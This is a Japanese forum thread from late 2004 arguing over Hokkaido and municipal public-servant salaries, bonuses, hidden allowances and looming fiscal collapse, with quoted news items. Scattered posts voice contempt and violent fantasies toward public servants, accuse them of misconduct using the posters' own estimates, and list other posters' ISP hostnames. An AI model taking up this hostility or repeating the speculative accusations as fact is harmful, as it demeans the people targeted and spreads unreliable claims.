もし、道税が他県に比較して異常に高いなら別としてそんなことはないと思うが。
民間が不況から脱出するのと公務員の給与削減と、今現在どれほど因果関係があるの
か、はなはだ疑問だ。
大幅に公務員の給与を削減している自治体もあるが、その市町村の景気が回復してい
るのか？

皆さんは若いようなので、
隣の芝生が緑に見えるのはわかる。
公務員の足を引っ張りたい気持ちもわかる。
しかし、何回も書きますが、
今の北海道は民間の「景気」回復が最も重要。
そのためには北海道のトータル収支を考えることも必要。
国からのお金（税金）が結構入ってます。
３位一体改革で削られかねないですが（国も出したくないらしい）、
これら補助金、地方交付税等は
公務員を経由して北海道に入ります。
これら国からの金なしに北海道独自でやるには今現在は難しい。
十分な財を生み出す能力が残念ながらまだない。

>>194
みんな、自治体の真の意味の正体を知らないんだよ。
選挙運動にでも、かかわってるとわかるかもしれない。

あぼーん

どんな甘い会社にいるかわからないけど、俺の会社なら、公務員の給与下げて、
会社の実績を上げようなんて、ぶっ飛んだ考えを持った社員ならいらないな。
地に足がついた考えがほしいよ。
はっきり言うと、俺の会社からなら国家一種どころか、道の一種だって合格でき
る奴なんかいないよ。
そういう試験が簡単というなら、あんたらは、たいしたものだ。
だがな、うちの社員みたいのに、こんなの吹き込んだら、おだってダメになるわ。

あぼーん

あぼーん

あぼーん

英国の経済誌「エコノミスト」ねぇ。
http://www.hokkaido-np.co.jp/Php/kiji.php3?&d=20041218&j=0024&k=200412184049

補助金ってのは、民間じゃなくて官主導でばらまくものなんだよ。
そういう補助金がなくなると、それをばらまく官自体もなくなる。
予算のつけることが、官の存在価値なんだな。開発庁がそうだったでしょ。

というか、北海道の基幹産業ってのは、第一次産業と観光であることは、
調べりゃすぐ判ること。
北海道には「森林や国立公園、観光客を魅了するスキー場がたくさんある」
「北海道の川や海は海産物の宝庫」などと、北海道の魅力にも言及されても
なんだかなあと思うね。

100円の公共事業を行うのに、100円の公務員人件費が掛かっていて、〆て
200円納税しなければならないってのは、可笑しいなぁ。

だけど、これだけ道の公務員が荒れていると騒いでいて暴動が起きないのも不思議。
やはり、心の奥底で公務員を尊敬しているのか、こわい存在と思っているのか・・。
とりあえず人としてのモラルを横に置き、動物的感覚で見ると、優劣の差は歴然と
しているな。

>>201
官主導は、見かけ上でないのか。
ぶっちゃけた話、民からコントロールきいて、力のある首長や議員を送り込んだら、
自治体をトンネルにして、実際の利権は自分のところに引っ張るだろう。
自分が１０万もうかれば、全体で２０万赤字になっても平気な考えってあるよな。
道の新幹線だって国レベルでみれば、アフォな事業に思えるけど、そこに巣くう奴
は、自分だけは、それなりに儲けるのでないか。
批判は、事業を引き受けた会社でなく、議員や公務員に集まるし、自分は正当なお
仕事をした善良な市民ですとトボケていたらいいしな。

あぼーん

あぼーん

しかし公務員擁護派は感情論ばかりだな。財政非常事態宣言してるのは道庁だぞ。実際財政は火の車だし。それに全国の都道府県は財政再建団体に落ちそうな所ばかりで都道府県職員の削減を行ってきている。特に不況がひど区財政最悪の北海道はトップを走っている。
それに国の財政状況を知ってるのかな。借金総額７００兆円で財務省と総務省が交付税の削減で火花を散らしている。実際財務省と経団連は７．８兆円の交付税を削減しろと言っている。北海道独自の事情なんか考えている余裕が国にはないんだよ。
景気がよくなるって北海道に金が落ちてくるのが減ってくるから可能性はほとんどないよ。北海道は公共事業の利権体質だから国の金が減ってきたら地獄だよ。もっと現実を見たら。

あぼーん

>>205
まともなレスができなくなると荒らし始めるという君の本性が出たようですね。
何でもかんでも削除依頼というのもどうかと思ったので、君が放置対象のdion君か
どうかを確かめていたのですが、予想以上に早く確認作業が終わりました。
>>206
感情論ではなく、それを裏付ける根拠を示せと言ってみたのですが無駄でした。
最近の公務員擁護派の書き込みは、感情論や非常事態宣言からの現実逃避といった
苦し紛れのものばかりが目立ちます。非常事態の現実を見てそれを踏まえた上で
これから官はどうする。官はこうしたら良い。といった建設的な意見を公務員
擁護派の方々からも聞きたいところなのですが、公務員擁護派から出てくる言葉は
財政が非常事態であっても人件費確保、公務員給料upですからね。まったく呆れます。

あぼーん

>>208
非常事態宣言からの道庁の対応を見ればわかるよ。そんなことここに書き込みする道職員に期待しても無駄だよ。建設的なことなんか考えれない古い時代の公務員。そうでなければこういう危機的な財政になってないよ。

公務員という職業は、自衛隊よろしく景気が良くても悪くても嫌われる職業だな。

あぼーん

俺の周りには嫌ってる人いないけどなぁ
でもまちBBSとかみてると嫌ってるひと多いみたいだよね

＞213
＞俺の周りには嫌ってる人いないけどなぁ
＞でもまちBBSとかみてると嫌ってるひと多いみたいだよね

公務員が嫌われとるわけちゃうやろ
ろくに仕事せんで金だけクレクレ言っとるもんは
会社員だろうが公務員だろうが嫌われよる

あぼーん

あぼーん

あぼーん

＞事務、技術の区分は不要　仕事の多様化で、地制調　
http://www.hokkaido-np.co.jp/Php/kiji.php3?&d=20041217&j=0023&k=200412173743

＞政府の地方制度調査会（諸井虔会長）の小委員会は１７日、
＞地方自治体の職員を「事務吏員」「技術吏員」などとしている区分について、
＞事務の複雑化や多様化に伴って明確に分けられなくなっていることから廃止し、
＞一律に「職員」とすることでおおむね一致した。

事務の複雑化や多様化と言っても、事務が高度化しているわけではない。
人事異動で誰が行ってもやれるよう業務は単純化され、
複雑な事務処理や計算はコンピュータにやらせればいいし、
法的な限界事例は国の通達に従っていれば何とかなるようにできている。

つまり専門性がない単純労務なのに、年収２００万の臨時職員よりも、
怠けていて、それでも年収７００万〜１千万ならばやはり問題だろう。

先々週書き込んだきり家庭の事情でＰＣから離れていたので
思い切り長文書かせてもらうけどスマソｗ。

＞一人当たり借金６０６万円　利払いは１時間１０億円に
http://news.goo.ne.jp/news/kyodo/keizai/20041220/20041220a2330.html
＞２００５年度予算の財務省原案によると、財政事情は一段と悪化し、
＞国と地方を合計した長期債務残高は、０５年度末で７７４兆円に膨らむ。
＞０４年度末に比べ３４兆円増加し、過去最大を更新。
＞国民一人当たり６０６万円の借金を抱える計算だ。
＞０５年度末の普通国債の残高見込みは５３８兆円。
＞特別会計の借入金も含めると国の借金は初めて６００兆円を超える。
＞国債の利払い費だけで８兆９０００億円に上り、
＞低金利が続く中でも１日に２４３億円、１時間に１０億円もの利息が生じる。

既に潜在的国民負担率は４５％を超える水準で推移している。
http://www.mof.go.jp/jouhou/syukei/siryou/sy1608n.pdf
定率減税が廃止され、年金等社会保険料の値上げが予定されており、
消費税が上がる２００７年を待たずに５０％を超える可能性もある。
２０２５年には潜在的国民負担率は６０％を超えるとの国の推計もある。
少子高齢化による社会保障費の増大は不可避と言っていいだろう。
潜在的国民負担率は、国税地方税社会保険料などの国民負担に、
財政赤字を加えて、国民所得で割ったものだが、注意すべきは、
過去の累積赤字は関係ないので、借金を返すための国民負担は、
それ以上になる可能性すらあることだろう。

このような状況下で、国からの補助金が激減していくこととなり、
道財政及び道内市町村財政の受けるダメージは、他都府県に比べて、
相当大きいことが予測されるのだが、人件費の削減については、
国や他都府県自治体と横並び、あるいは激変緩和と称してそれ以上に
遅らせようとしているのが現状であり、このような北海道の特殊事情に鑑み、
北海道板で北海道の公務員人件費について語ろうとしているわけだ。うん。

生還、乙！
長文、乙ｗ

119
生還、乙！
長文、乙ｗ
ところで、
Ta5.V9885d3.rppp.jp
z187.61-205-221.ppp.wakwak.ne.jp
p62709b.tkyoac00.ap.so-net.ne.jp
は、同一人物？

↑ん？
それがこのスレとどういう関係があるんだ？

ロムってりゃ判るだろ、そのうちｗ

>>221
おつむだいじょぶでちゅか？？？

知り合いの公務員、有給は全消化してﾊﾟﾁﾝｺをし仕事はｷｯﾁﾘ定時。だけどﾎﾞｰﾅｽUPしたと言う話聞いた。何だよそれっ！？

↑ありえね〜〜！！
民間なら有給全消化してる時点でボーナスカットだよ！
それと市役所行って仕事風景見渡してみると、チンタラ仕事してる奴の多いこと多いこと！
あきれてしまう。
何から何まで甘い！！

財政赤字だ何だと言われてる世の中、公務員の給与はともかくﾎﾞｰﾅｽはｶｯﾄしろよ！どれだけ赤字減ると思ってるんだよ！

＞負担増、家計にじわり　定率減税廃止、社会保険料増…　O５年度月３６００円増
http://www.hokkaido-np.co.jp/Php/kiji.php3?&d=20041221&j=0045&k=200412215287

＞定率減税半減千八百五十億円に加え、配偶者特別控除（上乗せ部分）の廃止、
＞年金課税の強化、年金、雇用保険など社会保険料の引き上げで、
＞○五年度の国民負担は一兆一千億円増える。

＞○六年度はさらに厳しく、所得税、個人住民税の縮小・廃止の影響だけで
＞一兆四千億円、社会保険料の引き上げなどを加えると二兆一千億円の負担増となる。

不況下で毎年４万円ずつ国民負担を増やしても、財政赤字には焼け石に水。
さらに景気の足を引っ張り、結果的に税収を減らす道を歩み始めている。
自分で自分の首を絞めることがわかっていても、どうにもならない。
借金を借金で返すサラ金自己破産の末期症状のような状態だからね。
北海道や道内市町村への補助金も減らされ、これからはますます大変になる。
ありときりぎりすじゃないが、公務員人件費の無駄遣いを早くからやめていれば、
こんなことにはならなかったはずだが、と、後悔しても遅いところに来ている。

＞道内の労組組織率　１８％過去最低更新

http://www.hokkaido-np.co.jp/Php/kiji.php3?&d=20041221&j=0045&k=200412215322

ストライキなどしている暇があったら、必死で働いて稼がないと、
同業他社に負け、結果的に食えなくなるから必死だ。
しかし、スト権よこせと言っている公務員労組には、競争がない。
住民の満足度で給与やボーナスが民主的に査定されるならいいぞ。
公務員以外の全住民が平均給与のアップｏｒダウン率を投票する。
最大プラスマイナス５０％の範囲で投票して平均を取ればいいｗ。

＞わいせつなど懲戒事例紹介　服務規程を全教職員に　道教委初めて作成
http://www.hokkaido-np.co.jp/Php/kiji.php3?&d=20041221&j=0022&k=200412215315

懲戒処分といっても懲戒免職は少ないから、読む人の意識によっては、
ここまでやってもクビにならんのか、と勘違いして喜びそうで恐い。
配布されて読む人の意識が低すぎるから、懲戒事例が繰り返されている。

あぼーん

市町村の徴税担当職員が、住民税滞納者に対し、非常に厳しい目を向ける。
これは仕事熱心ということにつながるので、悪いことではあるまい。
納税は国民の義務であり、滞納を見逃すのは公平の観点から許されない･･･と。

生活保護担当者も、生活保護受給者に対し、非常に厳しく接する。
しかし、保護するのが仕事なのに、担当世帯数を減らしてラクしようする。
日当たりが悪いだの、近くに兄弟がいるだの、なんだかんだ理屈をつけては、
引越し代を払ってまで無理やり転居させようとする担当者も多いらしい。
つまり被保護世帯の居心地が悪くなるように厳しく接するわけだ。
オマイラ、国民が汗水垂らして働いて納めた血税で食わしてもらってるんだな･･･と。

ところが、職場内に全く役に立たない、と言うより、いない方がいい、
どうしようもない同僚がいても、「職場の和」を大切にするらしく、
面と向かって非難したりはしないらしい。矛盾していないか？

税金の滞納は絶対に許されず、生活保護を受けると怠け者、泥棒扱い、
しかし身近に存在そのものが税金の無駄遣いという職員がいても許される。
このことを矛盾なく理解するためには、公金は公務員のために存在すると
考えていると理解する以外にはないのだが、頼む、違うと言ってくれｗ。

みんな何だかんだで公務員がうらやましいんだよな。
不満があるなら転職したらいいじゃん。

北海道のＧＤＰがマイナス２％と新聞に出ていたが国からの補助金や交付税による公共事業依存体質ではこれからが本番だね。しかしこの情況で景気回復を言ってるのは夢物語。北海道の利権体質に嫌気がさして優秀な人材や若者の道外流出がさらに起きるな。税収も減るから北海道の財政再建団体がさらに近づく。まあ危機感がないのは道庁だけだな。非常事態宣言してそのあとの改革が全然駄目だから。まあ北海道のマスコミのおかげで実態が道民に知らないのも大きいけど。

>>232
非常事態の自治体職員に転職するわけないじゃん。
おつむだいじょうぶでちゅか？？？

>>234
まぁ…後十年はそこにいたらいいさ、
そのころには景気も上向き加減になっていることだろう…

>>235
ぼくちゃんに心配してもらわなくても
去年も今年もお給料上がってまつ
ボーナスも減ってないでつ
おつむだいじょうぶでちゅか？？？

>>236
そうか、ならば良い。
給料が上がり続けるとはよほどの環境だな。
いや、あんたのスキルがあるだけかな。
　それなら家族も心配なしだ。

あと１０年したら北海道は財政再建団体になって人材はどんどん流出して空洞化が進み壊滅的な状態だな。老人と居残った失業者で大幅に税収もダウン、生活保護も多すぎて払えなくてそして、道職員の給料も悲惨な状態で団塊世代以降が逃げ切って若い道職員はボロボロかな。まあその頃は日本も公的な負担増でかなり落ちぶれていそう。その頃はトヨタとかまだ日本にいるのかなｗ

2007年でこの国の土台が本格的に崩れ始めます。あと１０年は無理です。
今年さらに多くの国民が年金の崩壊と国の財政状況を知り始めました。
再建は始まるかもしれませんが北海道は食べ物はあるが暖房費がいるので不利なところです。
なるべく早く崩壊した方が震度は少ないですがここまでくればね。

お、いいフインキだなage

既に土台は腐り壁も白蟻の穴だらけで崩れ始め、
全部壊して「建て直し」する方が早くて安上がりなのに、
「立て直し」にこだわり、時間と金を無駄にしている。

非常事態宣言というのは、そろそろやばそうだから今のうちに、
取れるうちに取れるだけ取ってしまいましょうという宣言らしい。

どうせ庶民は地獄に落とされるのだからここは物を買わないことである
消費税減で慌て出し売り上げ減で財界からも与党に指示が出る。
最低でも消費税の上げは阻止できる。一人で出来る世直しである。
地方公務員の削減があるまで欲しがりません、買いません。

きょうも、仕事が終わって暇だよ。
いいのー、遅くまで仕事がある奴はｗ

巨大すぎる公的部門を抱えた私たちの日本社会は、もはやこれ以上の公務員（とその関係者）を食べさせていくことはできなくなりました。したがって、好むと好まざるとにかかくわらず、政治力によって公的部門を縮小させるしか、生き残る道はありません（逆に、これができれば多くも問題が解決します）。公的部門の増殖をこれ以上放置しておけば、あとは市民社会が公務員に食い尽くされて、世界の3等国に転落していくだけです

あぼーん

今５０代の道庁職員を例に取ると、２０代３０代の頃は毎年のように、
３か月・６か月・１２か月の昇給短縮措置が労使申し合わせで行われた。
これは条例・規則に定めのない昇給短縮であり、議会にも報告されていない。
当然、条例上「特に優秀な」職員に対し実施すると定められた特別昇給を
長期欠勤や処分がない限り全員に対しやっていた分はそれとは別に存在する。

また、ボーナス時にも、期末手当・勤勉手当以外に、条例に定めのない手当を、
議会の承認もマスコミ発表もなく（いや、隠して)支給していたことも事実である。
第二種特勤手当とかなんとか･･･そんな手当は規定上どこにもないｗ。

ボーナスは一時的なものだから、人事委員会勧告に基く期末・勤勉手当以外に
定額数万に定率０．４か月程度の上乗せがあっても、被害は年１０〜２０万ほどだろう。
しかし昇給短縮や特別昇給は累積していくから、今でもその被害は残っている。

かつての全庁的な旅費食糧費の不正以外にも、システムそのものが不正で、
特に何もしなくてもこのような不当なお手盛りが全員についてきたわけだ。
基本給がお手盛りされてしまうと、ボーナスや超過勤務もそれに比例して増え、
さらに第二種ナントカという名称のインチキ手当をトッピング。

被害額は計算しにくいが、２６歳１．５号俸水増しトッピング付で年額２５万、
３５歳５号俸８０万、４５歳９号俸１２０万、５５歳８０万というところか？
２０代で２００万、３０代で８００万、４０代で１２００万、５０代８００万、
全部で３０００万の不当利得を受け取っていると考えていいだろう。

な〜んだ。退職金を前払いしてもらっていたんだね。そかそか。
利息分は返せとは言わないから、退職金でチャラいいよ。

あぼーん

北海道の公務員の蔑視はすごいね。税金という義務で集めたお金で裏金、横領をしていればそう思われるな。全国でも一番モラルが低いと言われている北海道の道警や道庁はやはり外部の力で改革するしかないな。財務省にでもメールを送ったほうがいいかもと思う。今地方公務員の人件費を問題にしてるから北海道は一番危ない。

>>247
本当に無法地帯だね。道職員の世界は。こいつらは税金を運営してるという感覚がない。自分の金のように使っている。交付税という都会から来た金を好き放題に使ってるだけで勘違いしてる。財務省が無駄遣いといったのは北海道の人件費かなと最近思う。全国に蔑視されている北海道は道職員のせいで恥ずかしいな。交付税削減で財政再建団体が一番いいかもね。

>>247→>>246に訂正する。

北海道での公務員人件費無駄使いのせいで、
国の補助金が削減され、全国の自治体財政が
危機にさらされていると考えると、最後には、
他県からも見放されて終焉を迎えそうだな。

そこで道州制だろｗ
国政への足がかりと天下りへの時間稼ぎ…

合理化阻止の言いがかりと退職金もらい逃げへの時間稼ぎw

そのシワ寄せは若手公務員達へと…なんか可哀想になってきたわ。ｗ

公務員の理想語っても夢だしな。
リアルでは、公務員さんの勝ちだな。
道内では、公務員、医師、弁護士は御三家だよなあ。
再建団体になっても、公務員は、道内の民よりは、まだまだ給与いいと思う。
まあ、永久に再建団体になるわけでなし、外郭団体や投資会社も、いぱーい
あるから、あと５０年は、安泰、安泰。

>>253

本当に気の毒だと思うから必死で擁護している。

頭が回るヤシなら、将来の苦労は言われなくてもわかるから、
転職してもつぶしがきくように準備もしているだろうが、
わかっていないヤシは、転職しても食えないから悲劇だ。

今、悪態をついたり迷惑行為をして、住民感情を害したら、
将来、道民のお情けにすがって生きることも難しくなる。
今は放置して相手にせず、目立たぬようにしてやることが、
温情ある大人な対応なんだろうね。俺って優しいな。

あぼーん

単なる嫉妬だが、俺は公務員が嫌いだ。
経済だけが国民の利益ではない。
とりあえず、公務員が苦しめば、俺は幸福感に浸れる。
それでよい。最近特に地方公務員を見るとぶん殴ってやろうと思う思うだけだが。
どうだ・・・、正直な人だろう。

>>257
一番いい答えだ。
気に入ったよ。
へんにかっこつける奴より、ずっと好印象だ！誠意すら感じる。
もし、俺が公務員でそういう答えを聞いたら、気持ちよく減収に応じられるな。

>>257
うむ、大変潔い答えだ。
逆に良いな。変に言い訳みたいなの付けられるよりは。

さて、民間はやっぱやめて、公務員にしようっと！

先日公務員が除雪車に轢き殺されたと云うニュースがＴＶで流された時
観ていた数人が手を叩いて喜んだ。
やはり２５７の様な人物が増えてきているのも確かであり危惧される。
確かに嫉妬はよくないがその原因を税で生活する者たちが作るのも問題である。
権力者は簡単に嫉妬と片付けてはいけない。
もの言わぬ静かなる大衆がある限界点を超えると通勤や家族の外出にも影響を与えることにならぬかと心配である。

>>255
転職で思い出したけど国家１種のエリート官僚も外資や大手民間に転職を結構しているという話だよ。彼らは激務で自殺者も多いがやはり国家公務員の将来性を見限って外資などに行く人が多い。財政や少子高齢化を考えると確かに将来性はないかもね。北海道はさらに財政が酷くて少子高齢化が進んでいそうだけど。

再建団体と言うが先送りの限界で２，３発生すると同時に日本の財政が吹っ飛ぶそうである。
ですから何とか粉飾で誤魔化しているが日本政府が財政破綻状態で再建できるのか？金利しだいであるが余命母子共に２年が限界だろう。
ある日突然の可能性が多ー。

>>261
経済誌に、財務省を辞めて金融機関や証券会社へと転職する官僚が
増えているという記事が載っているのを読んだことがあります。
いざ官僚になってみたはいいが、現実を知り、愕然としてしまい
公務員に見切りをつけたという若手官僚も多いのではないでしょうか。

公務員給与、「地方」が「国家」下回る
http://www.yomiuri.co.jp/politics/news/20041223it01.htm

国家公務員よりも給料が下がってしまった地方公務員は、さらに大変ですね。
エリート官僚ならば、まだ民間への転職口もあるでしょうが、地方公務員は…(略

↑wakwakﾀｿ、
＞国家公務員よりも給料が下がってしまった地方公務員は、さらに大変ですね
う〜ん、ﾁｮﾄ違うみたいだ。内実はもっとウスギタネェんだよ！
で、もっと、言語道断＆問答無用！！をｷｳﾞｫﾝﾇ！

独自の特殊手当４０１億円＝給与指数は国が初逆転 共同通信
http://www.excite.co.jp/News/main/20041223172917/Kyodo_20041223a013010s20041223172920.html
　早朝勤務手当など国家公務員にはない特殊勤務手当が２００３年度、
都道府県と政令指定都市の職員に計約４０１億円支給されていたことが
総務省の調べで２３日、分かった。特殊勤務手当の実態調査は初めて。
戸籍登録手当など本来の業務として給与に含まれ実質的に二重取りと
なっているとみられる手当は、延べ２１０種類、１５２億円に上っていた。
　一方、国を１００とした場合の地方公務員の給与水準を示すラスパイレス
指数は今年４月１日現在で９７・９と初めて１００を割り込み、国家公務員
が上回った。
＞ただ、指数の算出には特殊勤務手当などは考慮されておらず
＞受給実態は不明確な面もあり、自治体には一層の
＞情報公開と合理化が求められそうだ。
・・・・・・・・・・・・・・・・・・・・・・
ホラ、総務省でさえ関知しない「うん重取り」構造、そして
算出基準も不明瞭ってのは、つまり、「取りホーダイ」って
ことだろ？
これで、カチンと来ない方が狂ってるよな！！

きちゃない、キチャナイ地方公務員。よくそこまで出来る。自分の事しか考えていないことが理解できた。
町内会等で協力する必要なし。日本の為に消えてくれ。

>>264
今、大阪市の無駄遣いがすごい勢いで記事になっている。これを根拠にして地方自治体の無駄遣いのチェックが厳しくなりそうだね。あれだけニュースが出るということは地方の無駄遣いに対して厳しい姿勢でいくという事かな？
次は北海道の無駄遣いに言及するかも。北海道の場合はマスコミが特殊だからあまりこのような記事は載らないけど、これから全国的にチェックが始まりそうだ。しかし大阪市はすごいな・・・・。
>>263
それも海外に留学したエリート官僚が外資屋民間に転職する場合が多いそうだよ。確かに外資や民間は仕事を頑張ればすごい給料で帰ってくるからね。やる気がある人ほど行くね。あとはやはりあなたの言うとおり現実を知り日本の
将来構造では仕事はより激務になり給料の定期昇給もあやしいからだと思う。優秀な若手官僚はやはりきちんと先を見ているね。これから先が見える優秀な若い人間ほど道外に流出が始まるね。

＞海外に留学したエリート官僚が外資屋民間に転職する場合が多い
これって問題になったな。
国費で留学させておいて帰国後、何年もたたないうちに転職っていうの。
休職して自費で留学なら勝手にしろって感じだが、そんなのは少なくて
職務の一環として留学させてるんだから。
これノンキャリアにはほとんど認められないだったな。

あぼーん

あぼーん

あぼーん

あぼーん

だけど、もう公務員の給与が高いのか低いのかもわからなくなった。
吸い取る奴もいれば、自腹切る奴もいる。
のほほーーーんとしているのもいれば、過労死するのもいる。
少なくても、財政的には、破綻は目に見えている。
情報を全てオープンで、官民一体でやっていかないと即死だな。
それでも、助かるかどうかわからない・・・。
こんなひどい状態になるのなら、何故もっと早く手を打たなかったんだ。
もう末期だな。
もはや、倫理なんか通用しないだろう。

はじめから、倫理なんかなかったか・・・。

昔ね、戦争をした人たちを二等兵も含め、馬鹿だなーと思っていた。
でも、同じく危機状態にある今、ただ、官民ともに解決策をとるのでなく、互いに
利権をむさぼりあおうと躍起になる。
土俵に上がれない市民は、不満はあっても、置き去りにされ、ただ、ずるずると、
世の中の流れに流される。
光明なんか見えてこない。

大阪市の見たら、道も不安になるよな・・・。
地方自治体の親玉って旧自治省、今の総務省だよね・・・・。

あぼーん

あぼーん

あぼーん

さ　げ　て　ね

17億円の大盤振る舞い?!市役所でボーナス支給！
http://www.webotaru.jp/news/2004/12/1215-2.htm

では、次のボーナスはどうする気なのかと心配になる。
引き続き赤字予算を執行してゆくのだろうか。

↑怒り心頭・・・・乙！

小樽「花園商事」続き・・・
・・・・・・・・・・・・・・・・・・・・・・・・・・
　12月15日に｢期末･勤勉手当｣なる冬のボーナスを、2,053人の職員に支給。
総額17億3,000万円で、三役を除く2,050人の平均支給額は844,812円と
なっている。
　道内の民間の冬のボーナスの平均支給額は、515,398円(北海道経営者
協会調べ)となっており、｢官高民低｣の図式が浮び上っている。
　小樽市は、2004年度に約19億円のカラ財源による赤字予算を執行中で、
財政は実質的に破綻している状態で、財政再建団体転落への道が危惧
されている中での支給となった。
　財政難の中、市はなりふりかまわぬ財源探しで、老人無料パスの廃止、
ゴミ収集有料化、施設使用料の値上げと、次々と市民負担を増加させて
いる。
　市役所冬のボーナスは、特別職の市長230万円、助役190万円、収入役
165万円、一般職平均84万円となっており、市議会でも、議長147万円、
副議長133万円、議員121万円が支給された。
　総額17億3,000万円のボーナス支給に、市民からは｢倒産寸前の民間
では考えられない。せめて1年間だけでもボーナスを半分にすれば、
赤字は解消されるのに！｣｢民間なら当の昔に倒産しているのに、
どこからお金を持ってくるの？」「有料･値上げで、市民にばかり負担を
押し付けている｣｢市職員も市内で飲まなくなってしまった｣との声が上がる。
　“市役所だけ功成って、市民枯れる”状況に、歯止めがかからない。
小樽市や市議会の今後の対応に、市民の目は、ますます険しさを
増すことになりそうだ。
・・・・・・・・・・・・・・・・・・・・・・・・・・・
↑これって、小樽だけじゃないだろ？？
>>264でも述べたが、まさに「取りホーダイ」だな！！

おまいら、即返却して、市民に土下座して陳謝しる！

↑これも、ウ〜ダラコ〜ダラ能書きつけて、手当のお手盛りなんだろ？
だから、ラスパイレス指数の計算基準に盛り込まないんだ、と！
つまり、コソドロだ罠、コソドロ！！

「由(よ)らしむべし、知らしむべからず」
つまり、市民は「従わせるもの」、裏を返せば
「市民を愚弄する」という本質の顕れ・・・・・

やっぱり、
おまいら、即返却して、市民に土下座して陳謝しる！

消された上に，鈍亀レスで申し訳ないが・・・。
》44 Nicole ◆BwXyUMIXBU 殿
　私は，》40 dion氏の主訴は，ただ単純に“ボーナスが出て嬉しい。”と解釈し
たのだが，貴殿の思考回路，読解力はどうなってるのかね？

↑あのさぁ、
>>40も、>>44も削除されている訳だ。
つまり、管理人の判断としては、「無かった事にすべき発言」。

そして、漏れも発言内容をいちいち覚えちゃいないし・・・
ただ、>>40のdionは、確か「放置対象」dionだったとおもふ・・・

漏れの思考回路，読解力？？？
見ての通りｗ　ごく「普通の道民レベル」だと自負しているのだが（藁
これで宜しいか？

＞｢倒産寸前の民間では考えられない。せめて1年間だけでも
＞ボーナスを半分にすれば、赤字は解消されるのに！｣

＞｢民間なら当の昔に倒産しているのに、どこからお金を持ってくるの？」

株式会社の場合は、株主が有限責任だから、無い袖は振れないで終了。
公務員の場合は、納税者は無限責任だから、ない金も払って借金を残す。

株式会社の場合は、株主に重大事実を隠して利益を貪れば、タイーホ。
公務員の場合は、議会や住民に重大事実を隠して、選んだ愚民が悪い。

滅茶苦茶やって、金取って、居直り・開き直り･･･最低だね。
今日ぐらいは公務員批判をやめようと思ったが･･･ｗ。

最後に、頑張っている公務員(もしいれば･･･)に･･･メリークリスマス。

＞国家公務員を１０％以上削減　新行革大綱を閣議決定

http://www.hokkaido-np.co.jp/Php/kiji.php3?&d=20041224&j=0023&k=200412246830

＞政府は２４日午前の閣議で、スリムな政府を実現し、財政の立て直しを図るため
＞「今後の行政改革の方針」（新行政改革大綱）を決定した。
＞政府や関係法人の定員（約３３万人）を２００５年度から５年間で１０％以上削減し、
＞治安や徴税部門へ再配置。
＞官民が公共サービスの受注を競うモデル事業を来年度実施した上で
＞「市場化テスト法」（仮称）の整備を検討する方針を打ち出した。

団塊世代の退職を待ちながらの入れ替えか？それとも独立行政法人化か？
５年間で職員数１０％以上削減は、お役所の常識から見るとハイペース。
で、同じことを地方もやれや、国以上にやれや、と言われるだけならいいが、
使い物にならない職員を権限委譲と一緒に押し付けられるのではたまらない。

＞月収５２万でも３分の２は消える…予算政府案で換算
http://news.goo.ne.jp/news/yomiuri/keizai/20041224/20041224i203-yol.html

国債費と地方への補助金で７割以上が消え、一般歳出は３割以下、
だから不足分はまた借金まみれ･･･味噌も糞も一緒の表現だが、
こうして国は地方への補助金カットへの攻勢を強め続けている。

手当の激変緩和措置で国より削減を遅らせているようでは思う壺。
まあ、どうせ、手遅れであるわけだが･･･だから野となれ山となれで、
人件費をいくらぶん取ってもいいという話にはならないと思う。

次スレ。
http://hokkaido.machi.to/bbs/read.pl?BBS=hokkaidou&KEY=1103874506

このスレが300まで逝ってからにしましょう。
では、よいクリスマスをｗ。

道庁の北海道新生プラン
http://www.pref.hokkaido.jp/tseisaku/ts-sanji/shinseiplan/index.htm

「道民のために働く道庁｣
･･･｢不断に進める道庁改革｣
http://www.pref.hokkaido.jp/tseisaku/ts-sanji/shinseiplan/s-plan/2-8dotyo.pdf
事務の外部化・行政のスリム化・組織機構の合理化はあるけど、
職員の合理化・スリム化がないですからっ。残念っ！

社会保険事務所の窓口
ＮＨＫの徴収員
市･区役所の窓口

とか最近バイトにやらせて彼らはストレスゼロ。守秘義務？
未だに国鉄精算事業団の負債も放置。これは社民党のお陰。
とにかく借金してまで公務員の給料を払うな。
この国は職員の組合に潰された。彼らに返済をさせる法案を次の政権で。

道職員の他県との違いのひとつは、転勤だな。
他県では、転勤になっても、転居しなくても、通勤可能なケースが多いが、道は
そういうわけにいかない。
同じ道内なのに単身赴任も多いだろう。
その観点から、見ると、見かけよりは収入は低いかもな。
あくまで、見かけよりの意味。
これは、公務員を擁護しているわけでない。
いずれにしろ、近未来において、道及び道内自治体は破産し、公務員は厳しい現実
をつきつけられるであろう。
この責任は、公務員とその家族で負うべきであり、今後、破綻する公務員には、公
務員の子弟を受験要件にし、誠実な民間の方々を間違っても公務員にして、負担を
強いるべきでない。

》284 名前： Nicole　 ◆BwXyUMlXBU
》40　は残ってますよ。

>>280
これはすごいな。住民サービスをどんどん削って自分達の給料を守る。そういえば南小樽の開発で小樽市は負債を出していなかったかな？そういう市で行って失敗したものも市民に押し付けているのかな。
しかし赤字の財政の中では責任感がなさ過ぎる。小樽市はかなり高齢化が進んで負担を押し付けるのは厳しそうだけど。

＞彼らに返済をさせる法案を次の政権で。

＞この責任は、公務員とその家族で負うべき

なかなか強硬な意見ですね。なかなか実現も困難ですが･･･
ただ金を取り上げるのではなく、公務員にも救いのある案はないものか？

例えば、共済老齢年金のうち月額１０万円を超える部分の２分の１、
及び、退職金のうち１００万円を超える部分の１０分の９を支給停止、
その分、１０年満期の公務員向け特例公債(劣後債)を発行する。
２００４年度の債務残高を基準として、それより借金が減っていれば、
減少した割合分だけ１０年後にお金をもらえるようにすればいいだろう。
借金が減らないと公債はただの紙切れ、半分減れば半額支給というように。

コスト削減努力を怠ればいつまでもボーナス・退職金・年金は減ったまま。
借金を無理やり減らそうと、無理な歳出減・増税に走れば大不況になり、
結果の出る１０年後には財政赤字はかえって増大し、やはり金がもらえない。
退職の１０年後に財務状態が改善するように必死で考えるようになれば、
今のような「公務員人件費不況」は回避できるし、目標がやりがいになる。
努力すれば今の２０代は退職１０年後に退職金満額近く受け取れるだろう。

現職公務員への愛情に満ち溢れた公務員擁護派ならではの妙案だと思うが、
この逆ストックオプション、賛成の公務員は、まずいないべなｗ。

＞高橋知事の公約実行、遅れ１０件　０３年度　計画を点検、見直し
http://www.hokkaido-np.co.jp/Php/kiji.php3?&d=20041225&j=0023&k=200412257276

＞道は二十四日、高橋はるみ知事の公約の実行計画である
＞「北海道新生プラン」を点検・見直しする「アクションプラン２」をまとめた。
